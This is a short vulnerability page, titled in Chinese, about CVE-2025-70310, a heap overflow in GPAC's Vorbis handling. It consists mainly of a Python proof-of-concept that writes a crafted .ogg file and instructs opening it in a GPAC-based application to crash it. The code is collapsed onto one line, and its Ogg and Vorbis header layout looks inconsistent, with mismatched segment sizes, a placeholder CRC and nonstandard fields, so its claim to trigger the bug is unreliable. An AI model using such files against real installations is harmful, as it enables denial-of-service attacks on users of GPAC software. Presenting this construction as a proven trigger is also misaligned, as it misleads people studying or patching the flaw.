CVE-2025-70310 GPAC vorbis_to_intern()堆溢出漏洞导致拒绝服务

#!/usr/bin/env python3 """ CVE-2025-70310 PoC - GPAC heap overflow in vorbis_to_intern() This PoC generates a crafted .ogg file that triggers heap overflow """ import struct import sys def create_crafted_ogg(): """Generate a crafted OGG file to trigger vorbis_to_intern() heap overflow""" # Ogg page header for capture pattern ogg_header = b'OggS' # Version ogg_header += struct.pack('B', 0) # Header type ogg_header += struct.pack('B', 0x02) # Beginning of stream # Granule position ogg_header += struct.pack('<Q', 0) # Serial number ogg_header += struct.pack('<I', 0x12345678) # Page sequence ogg_header += struct.pack('<I', 0) # CRC checksum (placeholder) ogg_header += struct.pack('<I', 0) # Page segments ogg_header += struct.pack('B', 1) # Segment table - crafted size to trigger overflow ogg_header += struct.pack('B', 0xFF) # Large segment size # Crafted payload - oversized to cause heap overflow # This triggers the vulnerability in vorbis_to_intern() payload = b'\x00' * 8192 # Oversized payload # Add Vorbis identification header vorbis_header = b'\x01' # Packet type: identification header vorbis_header += b'vorbis' # Magic vorbis_header += struct.pack('<I', 0) # Version vorbis_header += struct.pack('B', 2) # Channels vorbis_header += struct.pack('<I', 44100) # Sample rate vorbis_header += struct.pack('<I', 0) # Bitrate vorbis_header += struct.pack('<I', 0) # Upper bitrate vorbis_header += struct.pack('B', 0) # Block size vorbis_header += struct.pack('B', 0) # Coupling vorbis_header += b'\x00' * 64 # Padding to trigger overflow return ogg_header + vorbis_header + payload def main(): output_file = 'CVE-2025-70310_poc.ogg' crafted_ogg = create_crafted_ogg() with open(output_file, 'wb') as f: f.write(crafted_ogg) print(f'[+] PoC file created: {output_file}') print(f'[+] File size: {len(crafted_ogg)} bytes') print('[+] Open this file with GPAC-based application to trigger vulnerability') if __name__ == '__main__': main()